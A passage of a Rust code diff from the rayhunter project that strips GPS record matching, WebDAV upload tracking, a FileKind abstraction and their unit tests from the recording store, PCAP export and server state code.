let maybe_gsmtap_msg = gsmtap_parser::parse(msg)?;
|
||||||
if let Some((timestamp, gsmtap_msg)) = maybe_gsmtap_msg {
|
if let Some((timestamp, gsmtap_msg)) = maybe_gsmtap_msg {
|
||||||
let packet_unix_ts = timestamp.to_datetime().timestamp();
|
|
||||||
let gps = find_nearest_gps(&gps_records, packet_unix_ts);
|
|
||||||
pcap_writer
|
pcap_writer
|
||||||
.write_gsmtap_message(gsmtap_msg, timestamp, gps.as_ref())
|
.write_gsmtap_message(gsmtap_msg, timestamp)
|
||||||
.await?;
|
.await?;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -167,68 +91,3 @@ where
|
|||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
fn rec(latest_packet_timestamp: i64, lat: f64, lon: f64) -> GpsRecord {
|
|
||||||
GpsRecord {
|
|
||||||
latest_packet_timestamp: Some(latest_packet_timestamp),
|
|
||||||
system_time: 0,
|
|
||||||
lat,
|
|
||||||
lon,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_empty_returns_none() {
|
|
||||||
assert!(find_nearest_gps(&[], 100).is_none());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_single_record_always_returned() {
|
|
||||||
let records = vec![rec(100, 1.0, 2.0)];
|
|
||||||
assert_eq!(find_nearest_gps(&records, 0).unwrap().unix_ts, 100);
|
|
||||||
assert_eq!(find_nearest_gps(&records, 200).unwrap().unix_ts, 100);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_before_all_records_returns_first() {
|
|
||||||
let records = vec![rec(100, 1.0, 2.0), rec(200, 3.0, 4.0)];
|
|
||||||
assert_eq!(find_nearest_gps(&records, 50).unwrap().unix_ts, 100);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_after_all_records_returns_last() {
|
|
||||||
let records = vec![rec(100, 1.0, 2.0), rec(200, 3.0, 4.0)];
|
|
||||||
assert_eq!(find_nearest_gps(&records, 300).unwrap().unix_ts, 200);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_exact_match() {
|
|
||||||
let records = vec![rec(100, 1.0, 2.0), rec(200, 3.0, 4.0), rec(300, 5.0, 6.0)];
|
|
||||||
assert_eq!(find_nearest_gps(&records, 200).unwrap().unix_ts, 200);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_closer_to_before() {
|
|
||||||
// packet at 130: delta to before(100)=30, delta to after(200)=70 → picks before
|
|
||||||
let records = vec![rec(100, 1.0, 2.0), rec(200, 3.0, 4.0)];
|
|
||||||
assert_eq!(find_nearest_gps(&records, 130).unwrap().unix_ts, 100);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_closer_to_after() {
|
|
||||||
// packet at 170: delta to before(100)=70, delta to after(200)=30 → picks after
|
|
||||||
let records = vec![rec(100, 1.0, 2.0), rec(200, 3.0, 4.0)];
|
|
||||||
assert_eq!(find_nearest_gps(&records, 170).unwrap().unix_ts, 200);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_equidistant_prefers_before() {
|
|
||||||
// packet at 150: delta to before(100)=50, delta to after(200)=50 → tie, picks before
|
|
||||||
let records = vec![rec(100, 1.0, 2.0), rec(200, 3.0, 4.0)];
|
|
||||||
assert_eq!(find_nearest_gps(&records, 150).unwrap().unix_ts, 100);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
+55
-233
@@ -1,10 +1,8 @@
|
|||||||
use std::fmt::Display;
|
|
||||||
use std::io::{self, ErrorKind};
|
use std::io::{self, ErrorKind};
|
||||||
use std::os::unix::fs::MetadataExt;
|
use std::os::unix::fs::MetadataExt;
|
||||||
use std::path::{Path, PathBuf};
|
use std::path::{Path, PathBuf};
|
||||||
|
|
||||||
use crate::config::GpsMode;
|
use chrono::{DateTime, Local};
|
||||||
use chrono::{DateTime, Local, TimeDelta};
|
|
||||||
use log::{info, warn};
|
use log::{info, warn};
|
||||||
use rayhunter::util::RuntimeMetadata;
|
use rayhunter::util::RuntimeMetadata;
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
@@ -24,8 +22,6 @@ pub enum RecordingStoreError {
|
|||||||
CreateFileError(tokio::io::Error),
|
CreateFileError(tokio::io::Error),
|
||||||
#[error("Couldn't read file: {0}")]
|
#[error("Couldn't read file: {0}")]
|
||||||
ReadFileError(tokio::io::Error),
|
ReadFileError(tokio::io::Error),
|
||||||
#[error("Couldn't write file: {0}")]
|
|
||||||
WriteFileError(tokio::io::Error),
|
|
||||||
#[error("Couldn't delete file: {0}")]
|
#[error("Couldn't delete file: {0}")]
|
||||||
DeleteFileError(tokio::io::Error),
|
DeleteFileError(tokio::io::Error),
|
||||||
#[error("Couldn't open directory at path: {0}")]
|
#[error("Couldn't open directory at path: {0}")]
|
||||||
@@ -36,46 +32,6 @@ pub enum RecordingStoreError {
|
|||||||
WriteManifestError(tokio::io::Error),
|
WriteManifestError(tokio::io::Error),
|
||||||
#[error("Couldn't parse QMDL store manifest file: {0}")]
|
#[error("Couldn't parse QMDL store manifest file: {0}")]
|
||||||
ParseManifestError(toml::de::Error),
|
ParseManifestError(toml::de::Error),
|
||||||
#[error("Insufficient disk space: {0}MB available, {1}MB required")]
|
|
||||||
InsufficientDiskSpace(u64, u64),
|
|
||||||
#[error("GPS storage directory not found")]
|
|
||||||
GpsStorageNotFound,
|
|
||||||
#[error("Serialization error: {0}")]
|
|
||||||
SerializationError(#[from] serde_json::Error),
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
|
||||||
pub enum FileKind {
|
|
||||||
Qmdl,
|
|
||||||
Analysis,
|
|
||||||
Gps,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl FileKind {
|
|
||||||
// List of all possible physical files on disk.
|
|
||||||
pub const ALL: &'static [FileKind] = &[FileKind::Qmdl, FileKind::Analysis, FileKind::Gps];
|
|
||||||
|
|
||||||
pub fn get_filename(&self, entry_name: &str) -> String {
|
|
||||||
match self {
|
|
||||||
FileKind::Qmdl => format!("{}.qmdl", entry_name),
|
|
||||||
FileKind::Analysis => format!("{}.ndjson", entry_name),
|
|
||||||
FileKind::Gps => format!("{}-gps.ndjson", entry_name),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn get_filepath<P: AsRef<Path>>(&self, entry_name: &str, base_path: P) -> PathBuf {
|
|
||||||
base_path.as_ref().join(self.get_filename(entry_name))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Display for FileKind {
|
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
||||||
match self {
|
|
||||||
FileKind::Qmdl => write!(f, "QMDL"),
|
|
||||||
FileKind::Analysis => write!(f, "analysis"),
|
|
||||||
FileKind::Gps => write!(f, "GPS"),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub struct RecordingStore {
|
pub struct RecordingStore {
|
||||||
@@ -89,37 +45,21 @@ pub struct Manifest {
|
|||||||
pub entries: Vec<ManifestEntry>,
|
pub entries: Vec<ManifestEntry>,
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The structure of an entry in the QMDL manifest table
|
|
||||||
#[derive(Deserialize, Serialize, Clone, PartialEq, Debug)]
|
#[derive(Deserialize, Serialize, Clone, PartialEq, Debug)]
|
||||||
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
|
|
||||||
pub struct ManifestEntry {
|
pub struct ManifestEntry {
|
||||||
/// The name of the entry
|
|
||||||
pub name: String,
|
pub name: String,
|
||||||
/// The system time when recording began
|
|
||||||
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
|
|
||||||
pub start_time: DateTime<Local>,
|
pub start_time: DateTime<Local>,
|
||||||
/// The system time when the last message was recorded to the file
|
|
||||||
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
|
|
||||||
pub last_message_time: Option<DateTime<Local>>,
|
pub last_message_time: Option<DateTime<Local>>,
|
||||||
/// The size of the QMDL file in bytes
|
|
||||||
pub qmdl_size_bytes: usize,
|
pub qmdl_size_bytes: usize,
|
||||||
/// The rayhunter daemon version which generated the file
|
|
||||||
pub rayhunter_version: Option<String>,
|
pub rayhunter_version: Option<String>,
|
||||||
/// The OS which created the file
|
|
||||||
pub system_os: Option<String>,
|
pub system_os: Option<String>,
|
||||||
/// The architecture on which the OS was running
|
|
||||||
pub arch: Option<String>,
|
pub arch: Option<String>,
|
||||||
#[serde(default)]
|
#[serde(default)]
|
||||||
pub stop_reason: Option<String>,
|
pub stop_reason: Option<String>,
|
||||||
/// When the manifest was uploaded to a WebDAV server
|
|
||||||
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
|
|
||||||
pub upload_time: Option<DateTime<Local>>,
|
|
||||||
#[serde(default)]
|
|
||||||
pub gps_mode: Option<GpsMode>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl ManifestEntry {
|
impl ManifestEntry {
|
||||||
fn new(gps_mode: GpsMode) -> Self {
|
fn new() -> Self {
|
||||||
let now = rayhunter::clock::get_adjusted_now();
|
let now = rayhunter::clock::get_adjusted_now();
|
||||||
let metadata = RuntimeMetadata::new();
|
let metadata = RuntimeMetadata::new();
|
||||||
ManifestEntry {
|
ManifestEntry {
|
||||||
@@ -131,13 +71,19 @@ impl ManifestEntry {
|
|||||||
system_os: Some(metadata.system_os),
|
system_os: Some(metadata.system_os),
|
||||||
arch: Some(metadata.arch),
|
arch: Some(metadata.arch),
|
||||||
stop_reason: None,
|
stop_reason: None,
|
||||||
upload_time: None,
|
|
||||||
gps_mode: Some(gps_mode),
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_filepath<P: AsRef<Path>>(&self, file_kind: FileKind, path: P) -> PathBuf {
|
pub fn get_qmdl_filepath<P: AsRef<Path>>(&self, path: P) -> PathBuf {
|
||||||
file_kind.get_filepath(&self.name, path)
|
let mut filepath = path.as_ref().join(&self.name);
|
||||||
|
filepath.set_extension("qmdl");
|
||||||
|
filepath
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get_analysis_filepath<P: AsRef<Path>>(&self, path: P) -> PathBuf {
|
||||||
|
let mut filepath = path.as_ref().join(&self.name);
|
||||||
|
filepath.set_extension("ndjson");
|
||||||
|
filepath
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -255,13 +201,11 @@ impl RecordingStore {
|
|||||||
system_os: None,
|
system_os: None,
|
||||||
arch: None,
|
arch: None,
|
||||||
stop_reason: None,
|
stop_reason: None,
|
||||||
upload_time: None,
|
|
||||||
gps_mode: None,
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// sort chronologically
|
// sort chronologically
|
||||||
manifest_entries.sort_by_key(|a| a.start_time);
|
manifest_entries.sort_by(|a, b| a.start_time.cmp(&b.start_time));
|
||||||
|
|
||||||
let mut store = RecordingStore {
|
let mut store = RecordingStore {
|
||||||
path: path.as_ref().to_path_buf(),
|
path: path.as_ref().to_path_buf(),
|
||||||
@@ -289,63 +233,43 @@ impl RecordingStore {
|
|||||||
// Closes the current entry (if needed), creates a new entry based on the
|
// Closes the current entry (if needed), creates a new entry based on the
|
||||||
// current time, and updates the manifest. Returns a tuple of the entry's
|
// current time, and updates the manifest. Returns a tuple of the entry's
|
||||||
// newly created QMDL file and analysis file.
|
// newly created QMDL file and analysis file.
|
||||||
pub async fn new_entry(
|
pub async fn new_entry(&mut self) -> Result<(File, File), RecordingStoreError> {
|
||||||
&mut self,
|
|
||||||
gps_mode: GpsMode,
|
|
||||||
) -> Result<(File, File), RecordingStoreError> {
|
|
||||||
// if we've already got an entry open, close it
|
// if we've already got an entry open, close it
|
||||||
if self.current_entry.is_some() {
|
if self.current_entry.is_some() {
|
||||||
self.close_current_entry().await?;
|
self.close_current_entry().await?;
|
||||||
}
|
}
|
||||||
let new_entry = ManifestEntry::new(gps_mode);
|
let new_entry = ManifestEntry::new();
|
||||||
let qmdl_filepath = new_entry.get_filepath(FileKind::Qmdl, &self.path);
|
let qmdl_filepath = new_entry.get_qmdl_filepath(&self.path);
|
||||||
let qmdl_file = File::create(&qmdl_filepath)
|
let qmdl_file = File::create(&qmdl_filepath)
|
||||||
.await
|
.await
|
||||||
.map_err(RecordingStoreError::CreateFileError)?;
|
.map_err(RecordingStoreError::CreateFileError)?;
|
||||||
let analysis_filepath = new_entry.get_filepath(FileKind::Analysis, &self.path);
|
let analysis_filepath = new_entry.get_analysis_filepath(&self.path);
|
||||||
let analysis_file = File::create(&analysis_filepath)
|
let analysis_file = File::create(&analysis_filepath)
|
||||||
.await
|
.await
|
||||||
.map_err(RecordingStoreError::CreateFileError)?;
|
.map_err(RecordingStoreError::CreateFileError)?;
|
||||||
let gps_filepath = new_entry.get_filepath(FileKind::Gps, &self.path);
|
|
||||||
File::create(&gps_filepath)
|
|
||||||
.await
|
|
||||||
.map_err(RecordingStoreError::CreateFileError)?;
|
|
||||||
self.manifest.entries.push(new_entry);
|
self.manifest.entries.push(new_entry);
|
||||||
self.current_entry = Some(self.manifest.entries.len() - 1);
|
self.current_entry = Some(self.manifest.entries.len() - 1);
|
||||||
self.write_manifest().await?;
|
self.write_manifest().await?;
|
||||||
Ok((qmdl_file, analysis_file))
|
Ok((qmdl_file, analysis_file))
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn open_file(
|
// Returns the corresponding QMDL file for a given entry
|
||||||
&self,
|
pub async fn open_entry_qmdl(&self, entry_index: usize) -> Result<File, RecordingStoreError> {
|
||||||
entry_index: usize,
|
|
||||||
file_kind: FileKind,
|
|
||||||
) -> Result<Option<File>, RecordingStoreError> {
|
|
||||||
let entry = &self.manifest.entries[entry_index];
|
let entry = &self.manifest.entries[entry_index];
|
||||||
let filepath = file_kind.get_filepath(&entry.name, &self.path);
|
File::open(entry.get_qmdl_filepath(&self.path))
|
||||||
|
.await
|
||||||
match File::open(&filepath).await {
|
.map_err(RecordingStoreError::ReadFileError)
|
||||||
Ok(file) => Ok(Some(file)),
|
|
||||||
Err(e) if e.kind() == ErrorKind::NotFound => Ok(None),
|
|
||||||
Err(e) => Err(RecordingStoreError::ReadFileError(e)),
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn open_entry_gps_for_append(
|
// Returns the corresponding QMDL file for a given entry
|
||||||
|
pub async fn open_entry_analysis(
|
||||||
&self,
|
&self,
|
||||||
entry_index: usize,
|
entry_index: usize,
|
||||||
) -> Result<Option<File>, RecordingStoreError> {
|
) -> Result<File, RecordingStoreError> {
|
||||||
let entry = &self.manifest.entries[entry_index];
|
let entry = &self.manifest.entries[entry_index];
|
||||||
match OpenOptions::new()
|
File::open(entry.get_analysis_filepath(&self.path))
|
||||||
.create(true)
|
|
||||||
.append(true)
|
|
||||||
.open(entry.get_filepath(FileKind::Gps, &self.path))
|
|
||||||
.await
|
.await
|
||||||
{
|
.map_err(RecordingStoreError::ReadFileError)
|
||||||
Ok(file) => Ok(Some(file)),
|
|
||||||
Err(e) if e.kind() == ErrorKind::NotFound => Ok(None),
|
|
||||||
Err(e) => Err(RecordingStoreError::CreateFileError(e)),
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn clear_and_open_entry_analysis(
|
pub async fn clear_and_open_entry_analysis(
|
||||||
@@ -356,7 +280,7 @@ impl RecordingStore {
|
|||||||
let file = OpenOptions::new()
|
let file = OpenOptions::new()
|
||||||
.write(true)
|
.write(true)
|
||||||
.truncate(true)
|
.truncate(true)
|
||||||
.open(entry.get_filepath(FileKind::Analysis, &self.path))
|
.open(entry.get_analysis_filepath(&self.path))
|
||||||
.await
|
.await
|
||||||
.map_err(RecordingStoreError::ReadFileError)?;
|
.map_err(RecordingStoreError::ReadFileError)?;
|
||||||
Ok(file)
|
Ok(file)
|
||||||
@@ -407,23 +331,6 @@ impl RecordingStore {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_next_unuploaded_entry(&self, min_age: TimeDelta) -> Option<String> {
|
|
||||||
let now = rayhunter::clock::get_adjusted_now();
|
|
||||||
self.manifest
|
|
||||||
.entries
|
|
||||||
.iter()
|
|
||||||
.filter_map(|entry| {
|
|
||||||
if self.is_current_entry(&entry.name) || entry.upload_time.is_some() {
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
let age = now - entry.last_message_time.unwrap_or(entry.start_time);
|
|
||||||
|
|
||||||
(age > min_age).then_some((&entry.name, age))
|
|
||||||
})
|
|
||||||
.max_by_key(|(_, age)| *age)
|
|
||||||
.map(|(name, _)| name.clone())
|
|
||||||
}
|
|
||||||
|
|
||||||
// Finds an entry by filename
|
// Finds an entry by filename
|
||||||
pub fn entry_for_name(&self, name: &str) -> Option<(usize, &ManifestEntry)> {
|
pub fn entry_for_name(&self, name: &str) -> Option<(usize, &ManifestEntry)> {
|
||||||
let entry_index = self
|
let entry_index = self
|
||||||
@@ -450,22 +357,6 @@ impl RecordingStore {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn mark_entry_as_uploaded(
|
|
||||||
&mut self,
|
|
||||||
name: &str,
|
|
||||||
upload_time: DateTime<Local>,
|
|
||||||
) -> Result<(), RecordingStoreError> {
|
|
||||||
let entry_index = self
|
|
||||||
.manifest
|
|
||||||
.entries
|
|
||||||
.iter()
|
|
||||||
.position(|entry| entry.name == name)
|
|
||||||
.ok_or(RecordingStoreError::NoSuchEntryError)?;
|
|
||||||
self.manifest.entries[entry_index].upload_time = Some(upload_time);
|
|
||||||
self.write_manifest().await?;
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn is_current_entry(&self, name: &str) -> bool {
|
pub fn is_current_entry(&self, name: &str) -> bool {
|
||||||
match self.current_entry {
|
match self.current_entry {
|
||||||
Some(idx) => match self.manifest.entries.get(idx) {
|
Some(idx) => match self.manifest.entries.get(idx) {
|
||||||
@@ -494,13 +385,14 @@ impl RecordingStore {
|
|||||||
};
|
};
|
||||||
let entry_to_delete = self.manifest.entries.remove(entry_to_delete_idx);
|
let entry_to_delete = self.manifest.entries.remove(entry_to_delete_idx);
|
||||||
self.write_manifest().await?;
|
self.write_manifest().await?;
|
||||||
|
let qmdl_filepath = entry_to_delete.get_qmdl_filepath(&self.path);
|
||||||
for &file_kind in FileKind::ALL {
|
let analysis_filepath = entry_to_delete.get_analysis_filepath(&self.path);
|
||||||
let filepath = file_kind.get_filepath(&entry_to_delete.name, &self.path);
|
remove_file_if_exists(&qmdl_filepath)
|
||||||
remove_file_if_exists(&filepath)
|
.await
|
||||||
.await
|
.map_err(RecordingStoreError::DeleteFileError)?;
|
||||||
.map_err(RecordingStoreError::DeleteFileError)?;
|
remove_file_if_exists(&analysis_filepath)
|
||||||
}
|
.await
|
||||||
|
.map_err(RecordingStoreError::DeleteFileError)?;
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -511,16 +403,20 @@ impl RecordingStore {
|
|||||||
|
|
||||||
let mut keep = Vec::new();
|
let mut keep = Vec::new();
|
||||||
|
|
||||||
'entries: for entry in &self.manifest.entries {
|
for entry in &self.manifest.entries {
|
||||||
for &file_kind in FileKind::ALL {
|
let qmdl_filepath = entry.get_qmdl_filepath(&self.path);
|
||||||
let filepath = file_kind.get_filepath(&entry.name, &self.path);
|
let analysis_filepath = entry.get_analysis_filepath(&self.path);
|
||||||
if let Err(e) = remove_file_if_exists(&filepath).await {
|
|
||||||
log::warn!("failed to remove {filepath:?}: {e:?}");
|
if let Err(e) = remove_file_if_exists(&qmdl_filepath).await {
|
||||||
// Some error happened with deleting this entry, abort and go to the next one.
|
log::warn!("failed to remove {qmdl_filepath:?}: {e:?}");
|
||||||
// Also *keep* the manifest entry.
|
keep.push(true);
|
||||||
keep.push(true);
|
continue;
|
||||||
continue 'entries;
|
}
|
||||||
}
|
|
||||||
|
if let Err(e) = remove_file_if_exists(&analysis_filepath).await {
|
||||||
|
log::warn!("failed to remove {analysis_filepath:?}: {e:?}");
|
||||||
|
keep.push(true);
|
||||||
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
keep.push(false);
|
keep.push(false);
|
||||||
@@ -563,7 +459,7 @@ mod tests {
|
|||||||
async fn test_creating_updating_and_closing_entries() {
|
async fn test_creating_updating_and_closing_entries() {
|
||||||
let dir = make_temp_dir();
|
let dir = make_temp_dir();
|
||||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
||||||
let _ = store.new_entry(GpsMode::Disabled).await.unwrap();
|
let _ = store.new_entry().await.unwrap();
|
||||||
let entry_index = store.current_entry.unwrap();
|
let entry_index = store.current_entry.unwrap();
|
||||||
assert_eq!(
|
assert_eq!(
|
||||||
RecordingStore::read_manifest(dir.path()).await.unwrap(),
|
RecordingStore::read_manifest(dir.path()).await.unwrap(),
|
||||||
@@ -600,7 +496,7 @@ mod tests {
|
|||||||
async fn test_create_on_existing_store() {
|
async fn test_create_on_existing_store() {
|
||||||
let dir = make_temp_dir();
|
let dir = make_temp_dir();
|
||||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
||||||
let _ = store.new_entry(GpsMode::Disabled).await.unwrap();
|
let _ = store.new_entry().await.unwrap();
|
||||||
let entry_index = store.current_entry.unwrap();
|
let entry_index = store.current_entry.unwrap();
|
||||||
store
|
store
|
||||||
.update_entry_qmdl_size(entry_index, 1000)
|
.update_entry_qmdl_size(entry_index, 1000)
|
||||||
@@ -614,9 +510,9 @@ mod tests {
|
|||||||
async fn test_repeated_new_entries() {
|
async fn test_repeated_new_entries() {
|
||||||
let dir = make_temp_dir();
|
let dir = make_temp_dir();
|
||||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
||||||
let _ = store.new_entry(GpsMode::Disabled).await.unwrap();
|
let _ = store.new_entry().await.unwrap();
|
||||||
let entry_index = store.current_entry.unwrap();
|
let entry_index = store.current_entry.unwrap();
|
||||||
let _ = store.new_entry(GpsMode::Disabled).await.unwrap();
|
let _ = store.new_entry().await.unwrap();
|
||||||
let new_entry_index = store.current_entry.unwrap();
|
let new_entry_index = store.current_entry.unwrap();
|
||||||
assert_ne!(entry_index, new_entry_index);
|
assert_ne!(entry_index, new_entry_index);
|
||||||
assert_eq!(store.manifest.entries.len(), 2);
|
assert_eq!(store.manifest.entries.len(), 2);
|
||||||
@@ -626,7 +522,7 @@ mod tests {
|
|||||||
async fn test_delete_all_entries() {
|
async fn test_delete_all_entries() {
|
||||||
let dir = make_temp_dir();
|
let dir = make_temp_dir();
|
||||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
||||||
let _ = store.new_entry(GpsMode::Disabled).await.unwrap();
|
let _ = store.new_entry().await.unwrap();
|
||||||
assert!(store.current_entry.is_some());
|
assert!(store.current_entry.is_some());
|
||||||
|
|
||||||
store.delete_all_entries().await.unwrap();
|
store.delete_all_entries().await.unwrap();
|
||||||
@@ -637,78 +533,4 @@ mod tests {
|
|||||||
store.delete_all_entries().await.unwrap();
|
store.delete_all_entries().await.unwrap();
|
||||||
assert!(store.current_entry.is_none());
|
assert!(store.current_entry.is_none());
|
||||||
}
|
}
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_mark_entry_as_uploaded_sets_time_and_persists() {
|
|
||||||
let dir = make_temp_dir();
|
|
||||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
|
||||||
let _ = store.new_entry(GpsMode::Disabled).await.unwrap();
|
|
||||||
let name = store.manifest.entries[0].name.clone();
|
|
||||||
store.close_current_entry().await.unwrap();
|
|
||||||
|
|
||||||
let upload_time = Local::now();
|
|
||||||
store
|
|
||||||
.mark_entry_as_uploaded(&name, upload_time)
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
assert_eq!(store.manifest.entries[0].upload_time, Some(upload_time));
|
|
||||||
|
|
||||||
let reloaded = RecordingStore::load(dir.path()).await.unwrap();
|
|
||||||
assert_eq!(reloaded.manifest.entries[0].upload_time, Some(upload_time));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_mark_entry_as_uploaded_missing_entry() {
|
|
||||||
let dir = make_temp_dir();
|
|
||||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
|
||||||
assert!(matches!(
|
|
||||||
store.mark_entry_as_uploaded("nope", Local::now()).await,
|
|
||||||
Err(RecordingStoreError::NoSuchEntryError)
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_get_next_unuploaded_entry() {
|
|
||||||
let dir = make_temp_dir();
|
|
||||||
let mut store = RecordingStore::create(dir.path()).await.unwrap();
|
|
||||||
|
|
||||||
for _ in 0..3 {
|
|
||||||
let _ = store.new_entry(GpsMode::Disabled).await.unwrap();
|
|
||||||
}
|
|
||||||
|
|
||||||
store.manifest.entries[0].name = "entry-0".to_owned();
|
|
||||||
store.manifest.entries[0].start_time = Local::now() - TimeDelta::seconds(10);
|
|
||||||
store.manifest.entries[0].last_message_time = None;
|
|
||||||
|
|
||||||
store.manifest.entries[1].name = "entry-1".to_owned();
|
|
||||||
store.manifest.entries[1].start_time = Local::now() - TimeDelta::seconds(10);
|
|
||||||
store.manifest.entries[1].last_message_time = Some(Local::now() - TimeDelta::seconds(5));
|
|
||||||
|
|
||||||
store.manifest.entries[2].name = "entry-2".to_owned();
|
|
||||||
store.manifest.entries[2].start_time = Local::now() - TimeDelta::seconds(10);
|
|
||||||
store.manifest.entries[2].last_message_time = Some(Local::now() - TimeDelta::seconds(1));
|
|
||||||
|
|
||||||
assert_eq!(
|
|
||||||
store.get_next_unuploaded_entry(TimeDelta::seconds(3600)),
|
|
||||||
None,
|
|
||||||
);
|
|
||||||
|
|
||||||
assert_eq!(
|
|
||||||
store.get_next_unuploaded_entry(TimeDelta::seconds(3)),
|
|
||||||
Some("entry-0".to_owned())
|
|
||||||
);
|
|
||||||
store
|
|
||||||
.mark_entry_as_uploaded("entry-0", Local::now())
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
assert_eq!(
|
|
||||||
store.get_next_unuploaded_entry(TimeDelta::seconds(3)),
|
|
||||||
Some("entry-1".to_owned())
|
|
||||||
);
|
|
||||||
store
|
|
||||||
.mark_entry_as_uploaded("entry-1", Local::now())
|
|
||||||
.await
|
|
||||||
.unwrap();
|
|
||||||
assert_eq!(store.get_next_unuploaded_entry(TimeDelta::seconds(3)), None);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+40
-257
@@ -21,15 +21,12 @@ use tokio_util::compat::FuturesAsyncWriteCompatExt;
|
|||||||
use tokio_util::io::ReaderStream;
|
use tokio_util::io::ReaderStream;
|
||||||
use tokio_util::sync::CancellationToken;
|
use tokio_util::sync::CancellationToken;
|
||||||
|
|
||||||
|
use crate::DiagDeviceCtrlMessage;
|
||||||
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
|
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
|
||||||
use crate::config::{Config, GpsMode};
|
use crate::config::Config;
|
||||||
use crate::diag::DiagDeviceCtrlMessage;
|
|
||||||
use crate::display::DisplayState;
|
use crate::display::DisplayState;
|
||||||
use crate::gps::GpsData;
|
use crate::pcap::generate_pcap_data;
|
||||||
use crate::notifications::DEFAULT_NOTIFICATION_TIMEOUT;
|
use crate::qmdl_store::RecordingStore;
|
||||||
use crate::pcap::{generate_pcap_data, load_gps_records_for_entry};
|
|
||||||
use crate::qmdl_store::{FileKind, RecordingStore};
|
|
||||||
use crate::update::UpdateStatus;
|
|
||||||
|
|
||||||
pub struct ServerState {
|
pub struct ServerState {
|
||||||
pub config_path: String,
|
pub config_path: String,
|
||||||
@@ -40,27 +37,8 @@ pub struct ServerState {
|
|||||||
pub analysis_sender: Sender<AnalysisCtrlMessage>,
|
pub analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||||
pub daemon_restart_token: CancellationToken,
|
pub daemon_restart_token: CancellationToken,
|
||||||
pub ui_update_sender: Option<Sender<DisplayState>>,
|
pub ui_update_sender: Option<Sender<DisplayState>>,
|
||||||
pub wifi_status: Arc<RwLock<wifi_station::WifiStatus>>,
|
|
||||||
pub wifi_scan_lock: tokio::sync::Mutex<()>,
|
|
||||||
pub gps_state: Arc<RwLock<Option<GpsData>>>,
|
|
||||||
pub update_status_lock: Arc<RwLock<UpdateStatus>>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg_attr(feature = "apidocs", utoipa::path(
|
|
||||||
get,
|
|
||||||
path = "/api/qmdl/{name}",
|
|
||||||
tag = "Recordings",
|
|
||||||
responses(
|
|
||||||
(status = StatusCode::OK, description = "QMDL download successful", content_type = "application/octet-stream"),
|
|
||||||
(status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
|
|
||||||
